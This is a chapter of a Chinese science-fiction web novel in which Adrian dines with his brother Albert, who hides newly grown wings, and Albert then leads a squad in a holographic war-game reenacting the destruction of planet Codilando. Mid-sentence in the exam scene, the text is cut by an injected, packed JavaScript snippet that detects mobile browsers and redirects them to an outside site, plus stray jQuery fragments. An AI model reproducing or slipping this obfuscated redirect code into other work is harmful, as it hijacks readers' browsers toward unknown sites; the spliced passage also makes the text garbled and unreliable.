从访谈室出来后艾德里安开车带着艾尔贝来到某个高级餐厅，他一落座就点满了对于两个人来说根本就不可能吃的完的菜品。
为了避免餐厅里有人认出他而造成不必要的影响，艾德里安带着艾尔贝开了个包厢。
“怎么又瘦了，是不是在家查理斯没有好好照顾你，尝尝这个松饼，我记得是你喜欢的口味。”
一块黄油松饼被叉起，上面浇了一层淡黄色的蜂蜜，在艾德里安的印象中弟弟每次都会单独吃完一整盘。
若是查理斯听见了这番话肯定会叫冤，因为他已经足够努力了，可无论吃多少艾尔贝始终都还是这幅纤细瘦弱的样子，这的确算不上是他的错。
在饭桌上艾德里安回答了访谈室的那个问题，略过了一些残酷的战争经历，只是向艾尔贝诉说了星际航行中的一些趣事。
顺便还透露了卡蒙司令在军队对他格外关照的事情，因为涉及到更深层次的利益关系，他没有深讲，只是给艾尔贝简单提了一嘴。
锋利的刀刃将牛排切成小块，艾德里安叉起其中的一块较为完整的放在艾尔贝面前那尚且空荡荡的盘子里。
“不过你也快毕业了，对于这方面有什么自己的想法吗？”
“艾尔贝，艾尔贝？”
后者似乎正沉浸在自己的世界里，被接连叫了几声名字后才回过神来：“哥哥？”
艾尔贝没有回答艾德里安问的关于未来目标的问题，他的表情忽然变得有些难以启齿。
“怎么了？”
艾德里安见状询问道：“你不舒服吗？”
“不是的……”
察觉到背部传递着熟悉的异样，艾尔贝轻轻眨了眨眼：
“哥哥，你之前……长出过翅膀吗？”
“翅膀？”艾德里安有些讶异，“当然没有，你怎么会这么问？”
艾尔贝控制不住地回头，身后这对纤长透明的薄翅在他的注视下正微微颤抖着。
方才吃饭的时候艾尔贝就忽然感受到它们与自己的联系似乎又加深了些，除去最初生长时的灼痛，这次他已经能接收到薄翅产生的动静了。
这也是成长必经的一部分吗？
但又想起查理斯的那句叮嘱：“不要对别人提起这件事”。
艾尔贝犹豫了一会儿，还是决定不把这件事告诉艾德里安，毕竟他们俩好不容易才能再聚在一起享受难得的独处时光，他不想为这种小事给哥哥带来困扰。
“没事。”
“不是什么很重要的问题，我们聊聊别的吧。”
还是私下再抽时间去查查资料看看到底是怎么回事吧，他想。
饭后艾德里安出去接了个电话，回来告诉艾尔贝说有些事情需要处理他得先回一趟军部。
艾尔贝表示理解，他本想自己打车回去但艾德里安很强硬地要求亲自送他，等到学校门口艾尔贝即将下车的时候又拉住了他的手。
艾尔贝不解：“怎么了哥哥？”
艾德里安每次露出这种严肃的神情时总是让他会很紧张，尤其是在被那猩红色的眼睛盯着的时候。
“你应该快要到实习阶段了，送你一个礼物。”
话音刚落他便从后座上拿出一个精致的盒子递给艾尔贝，并嘱咐道：“等分配完队伍之后再打开吧，希望它能派上用场。”
艾尔贝眨了眨眼，对他的话感到些许疑惑，但还是很乖巧地抱着它，点了点头说：
“谢谢哥哥，我知道了。”
随即与艾德里安挥手告别。
“下周所有人都将被分配到各个指定的列队进行为期一年的实习，此次实习成果也将作为衡量你们是否能在塔林顿顺利毕业的重要依据……”
塔林顿指挥学部长艾伦教授站在整个班级的前方，手舞足蹈地向他们强调这次的实习经历对于这群在他的眼中从未出过校门的“温室花朵”来说有多么多么重要。
艾尔贝站在队列的中间，庄重又贴身的制服整齐地穿在身上，也许对于几个月前的他来说很合适，但现在……身后的薄翅被厚重的外披紧紧地压在背部，正巧现在他又发育到与翅膀的产生了通感，这让他感到有一丝喘不过气。
或许得回去再找查理斯帮忙改一下尺寸了，艾尔贝默默在心里想着。
交代完基础事项后他带着所有人绕过理论教室走到长廊的拐角处，那里有一间测试房，在未踏上真正的战场前每一位指挥学员都需要在这里不断进行一次又一次的评估实验。
最中间的位置摆放着一个大型的棋盘作为考卷，测试规则很简单，那便是让每位学员以全息舱为媒介进入棋盘成为所有棋子的指挥官。
每个人都需要通过精神力去操纵这些棋子，同时也是战局中军队的各个组成部分。
人类过往所经历的每一场战争最终都会化作考卷落在棋盘上，仿真的推演会展现出操纵者的决策是否正确，同时也告诉“指挥官们”：如果这场著名的战争由你来谋划是否会有不一样的结局。
可结果便是除了一些人工设计的基础棋盘外，在场的每一位同学所挑战的真实战场都取得了失败的战绩，甚至有一些比原定的失败更加惨烈。
沙盘指挥教练科伦多注视着这一幕没有停下过他那伤人的叹息，他用怜悯的目光看向每一位觉得自己已经足够有能力去指挥真正的战事而放弃基础训练挑战古战场的失败者。
“在这里眼高手低不是什么坏事，敢于挑战对于任何人来说都是一种美德。”
“同时，我也希望失败能给你们带来一些教训。”
科伦多作为实习带队老师需要经过这一堂课给每个人划分到适合他们的小队，以免本次的实习对部分人来说会失去效果。
通过基础棋盘的学生被他分到中线的搜捕队，挑战历史战局失败的被划分到后勤部，那些连基础棋盘都没有通过的甚至还要再多留校一个月进行特训与检测。
前面的人陆续找到了自己的队伍后终于轮到艾尔贝，科伦多很欣赏这个成绩一向都是名列前茅的学生：“你想参加哪一场？”
艾尔贝直直地走向古战场区域，指着其中的一栏「科迪兰多的毁灭」：“我要挑战这个。”
科迪兰多曾经是一个美丽的旅游行星，曾属于帝国的管辖范围内，它以丰富而又美观的长毛系动物资源而出名，吸引了无数游客前去参观。
可科迪兰多当时的掌权者却犯了大忌，他为一己私欲将安保维护的资金大量私吞，也忽视了长毛动物最容易被虫族寄生的问题。
很快在一次感染大爆发后科迪兰多内部彻底被所占领，控制着整颗星球运的转位于海中的计算机失去掌控，对于依靠低效率网络信息传输来指挥的军队来说，想要清除内部的虫子更是难如登天。
“那位负责此项任务的指挥官选择直接引爆这颗星球，以免虫子继续蔓延，毕竟科迪兰星除了旅行的作用外在当时人们的眼中就已经是资源枯竭的荒星了，直接炸掉是最省时省力的办法。”
“来吧艾尔贝，或许你会有更好的决策，让我看看你真实的能力。”
看着艾尔贝戴上眼睛躺进全息舱后，科伦多上前亲自替他关上舱门，随后开启了装置。
……
再次睁开眼，眼前是一片广袤的海洋。
海面上树立着几根巨大的管道直冲云霄，那便是联通着内部智脑的通道。
在他看清星球的现状时任务栏与提示也同时出现在他的眼前：
「地点：科迪兰中央海」
「背景：突如其来的虫灾控制了星球的主脑系统，所有的虫子都在海洋智脑内部的管理层造成干扰，它们正在让这个星球停止运转。」
「任务：将科迪兰的虫族围剿干净。」
“现在的问题是里面的结构太过错综复杂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074180|179304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，我们的军队组织也较为分散，别说找到办法，光是找到路就很困难。”
“成本太高了，不建议采取潜入的方法。”
棋盘系统完完整整地还原了当时真实情景，连生成的npc都是当初的那些人。
艾尔贝站在半空中的指挥舱，纯白的指挥官披风垂落在他的身后，贴身的制服勾勒出纤细的腰线，短裤上扣着几根银色锁链，能随时取下用来锁住不听话的下属。
看着屏幕上登出的内部地图，他指向最中心的那个舱室问道：“如果能将能源电池送到那里，能否启动自净系统。”
向科迪兰星这种主要由智脑族群控制的星球往往都是同一套模组，帝国为了避免低等级的星球被占领模组中都安装有自净装置。
由系统情景再现的作战组队长回答道：“如果能找到并安装上去的话，就可以。”
“好，安排一支队伍带上能源电池出发，摘下受到影响的半屏指挥器，从中心的那根管道进入。”
“是。”
艾尔贝闭上双眼，开始尝试去链接这支队伍的精神网络。
通过上层的管道进入第一层机械模组，映入眼帘的是一片漆黑，直到一位队友打开队伍携带的光源，内部的结构才变得清晰起来。
“能听见我说话吗？”
这时队长脑海里响起一阵清脆的呼唤，代表着指挥官成功共感了他的精神网络。
他激动的回复：“是的，能听见。”
“减少了指挥器的消耗现在光源就能维持更久，希望您是能保持共感传输式的指挥，以便我们能成功找到规划的路线。”
艾尔贝第一次这么清楚地感受到自己的精神力在不断地流失，时间紧迫，他们的速度得加快了。
能够被棋盘收录的古战场绝对都不是什么简单的事件，艾尔贝想到的开启自净系统或许是人类方能做出的最正确的决定，可真要是这么简单的话当初也不会做出那么大的牺牲去选择引爆它。
最怕的就是赔了夫人又折兵，面对预测成功率只有百分之一的办法，那位指挥官不想冒这个风险。
“再通过这个引擎，顺着管道再下一层便是能源中心了。”艾尔贝指挥着小队一路踩着正确的路线越走越深。
滋滋滋，滋……
“等等。”
听见他的话后队长立即打了个手势示意小队停下，传讯问道：“怎么了？”
艾尔贝感受到一阵奇怪的精神力干扰，来自于他所共感的这具身躯前方，那道幽深的，连接引擎与能源中心的管道。
“是虫子。”
“那个管道里，有许多虫子。”
这是一股充满恶意的精神力磁场，很混乱，似乎是融合了什么异样的东西，虽然艾尔贝无法察觉出来到底是什么，但能保证来者不善。
听到他的话后队长与身后的那些队员对视了一眼，不知道该怎么办。
为了行动方便，小队的人数不多，且随身携带武器的也才仅仅只有五个人，如果要与这些虫子进行正面交锋的话是绝对不可能制胜的。
艾尔贝当然也意识到了这一点，他长舒一口气，打算另辟蹊径：“兵分两路。”
“由我来指挥，你们一队去吸引火力，另一队带着电池趁机进入继续行动。”
“什么！”队长全力压抑住惊慌失措的声音，他小声质问道：“同时与两队进行共感指挥，这个决策太疯狂了……不，就算您真的有这个能力，也不应该消耗大量的精神力在这样一个小小的星球！还是换个……”
“服从命令。”
这次声音同时在了队长与手持武器的副队长两个人的脑海中响起，这一刻他们仿佛亲眼看见了那位面相尚且稚嫩的指挥官，看着他一字一句下达指挥：
“作为合格的行动小组队员，你们唯一所需要做的就是——”
“服，从，命，令。”